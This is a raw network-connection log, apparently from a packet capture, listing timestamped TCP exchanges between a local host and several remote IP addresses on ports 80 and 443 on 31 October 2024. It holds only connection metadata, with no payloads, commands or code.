Oct 31, 2024 03:04:34.513701916 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.513725996 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.513751030 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.513761997 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.513772011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.513782024 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.513789892 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.513793945 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.513801098 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.513803959 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.513820887 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.513832092 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.513844967 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.513845921 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.513856888 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.513865948 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.513870955 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.513875961 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.513883114 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.513887882 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.513904095 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.513931036 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.513972044 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.513983011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.513993979 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514004946 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514008045 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.514014959 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514025927 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514034986 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.514038086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514050007 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514060974 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.514079094 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.514101028 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514102936 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.514111042 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514121056 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514132023 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514139891 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.514149904 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.514173985 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.514194965 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514235020 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514236927 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.514245987 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514267921 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.514295101 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514306068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514321089 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514326096 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.514326096 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.514332056 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514343023 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514360905 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.514378071 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.514431953 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514441967 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514452934 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514465094 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514476061 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514478922 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.514486074 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514492035 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.514496088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.514523983 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.514550924 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.516387939 CET	49908	443	192.168.2.5	20.1.248.118
Oct 31, 2024 03:04:34.516396046 CET	443	49908	20.1.248.118	192.168.2.5
Oct 31, 2024 03:04:34.516477108 CET	49908	443	192.168.2.5	20.1.248.118
Oct 31, 2024 03:04:34.516782999 CET	49908	443	192.168.2.5	20.1.248.118
Oct 31, 2024 03:04:34.516793966 CET	443	49908	20.1.248.118	192.168.2.5
Oct 31, 2024 03:04:34.602399111 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.602452993 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.602459908 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.602503061 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.604348898 CET	443	49898	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.604398966 CET	443	49898	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.604466915 CET	49898	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.604480982 CET	443	49898	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.604526997 CET	49898	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.604573965 CET	443	49898	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.604636908 CET	49898	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.605084896 CET	49898	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.605098009 CET	443	49898	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.605108976 CET	49898	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.605113029 CET	443	49898	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.606374025 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.606401920 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.606431007 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.606442928 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.606456995 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.606493950 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.606748104 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.606787920 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.618621111 CET	443	49897	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.618658066 CET	443	49897	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.618706942 CET	49897	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.618717909 CET	443	49897	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.618753910 CET	443	49897	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.619060993 CET	49897	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.619203091 CET	49897	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.619219065 CET	443	49897	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.619219065 CET	49897	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.619225979 CET	443	49897	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.619241953 CET	49909	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.619271994 CET	443	49909	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.619342089 CET	49909	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.621166945 CET	49909	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.621179104 CET	443	49909	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.622713089 CET	443	49893	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.622721910 CET	443	49893	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.622744083 CET	443	49893	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.622772932 CET	443	49893	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.622777939 CET	49893	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.622786999 CET	443	49893	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.622826099 CET	49893	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.622838974 CET	49893	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.623230934 CET	49910	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.623245955 CET	443	49910	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.623332977 CET	49910	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.623339891 CET	443	49893	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.623383999 CET	49893	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.623472929 CET	49910	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.623482943 CET	443	49910	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.628793955 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.628807068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.628835917 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.628846884 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.628858089 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.628860950 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.628869057 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.628899097 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.628905058 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.628906965 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.628917933 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.628942966 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.628950119 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.628954887 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.628959894 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.628969908 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.628978968 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.628993988 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629004002 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629014015 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629020929 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629045963 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629137993 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629151106 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629175901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629190922 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629201889 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629203081 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629210949 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629214048 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629240990 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629256010 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629331112 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629342079 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629350901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629376888 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629395962 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629605055 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629616976 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629628897 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629652977 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629656076 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629666090 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629677057 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629677057 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629687071 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629692078 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629710913 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629719973 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629760981 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629770994 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629781008 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629801035 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629806995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629820108 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629831076 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629833937 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629843950 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629853964 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629868031 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629883051 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629894018 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629894972 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629909039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629913092 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629925013 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629930019 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629940987 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629951000 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629966974 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629977942 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.629992962 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.629998922 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630006075 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630017042 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630028009 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630028009 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630039930 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630053997 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630069017 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630079031 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630083084 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630089045 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630100965 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630111933 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630112886 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630124092 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630135059 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630141020 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630147934 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630176067 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630456924 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630501032 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630506039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630517006 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630543947 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630554914 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630577087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630588055 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630609989 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630620956 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630621910 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630633116 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630652905 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630680084 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630696058 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630707026 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630717039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630733967 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630738974 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630749941 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630755901 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630759954 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630772114 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630776882 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630783081 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630803108 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630825996 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630861998 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630873919 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630883932 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630894899 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630903006 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630908012 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630918026 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630923986 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630953074 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630954027 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630964041 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630975008 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630980968 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.630985975 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.630997896 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631005049 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631015062 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631028891 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631042957 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631053925 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631055117 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631066084 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631077051 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631088972 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631095886 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631099939 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631107092 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631110907 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631124973 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631129980 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631145954 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631171942 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631211996 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631222963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631234884 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631247044 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631258965 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631282091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631283998 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631294966 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631306887 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631325006 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631335974 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631345987 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631345987 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631355047 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631372929 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631377935 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631530046 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631541014 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631551981 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631568909 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631577969 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631588936 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631592035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631603003 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631614923 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631625891 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631642103 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631649971 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631660938 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631671906 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631674051 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631695986 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631716013 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631727934 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631747007 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631758928 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631769896 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631778955 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631781101 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631802082 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631805897 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631817102 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631823063 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631828070 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631853104 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631855011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631865978 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631877899 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631885052 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631907940 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631910086 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631920099 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631931067 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631931067 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631947994 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631953955 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.631959915 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631969929 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631982088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.631984949 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.632011890 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.632035017 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.632266998 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.632278919 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.632287979 CET	80	49823	185.215.113.206	192.168.2.5
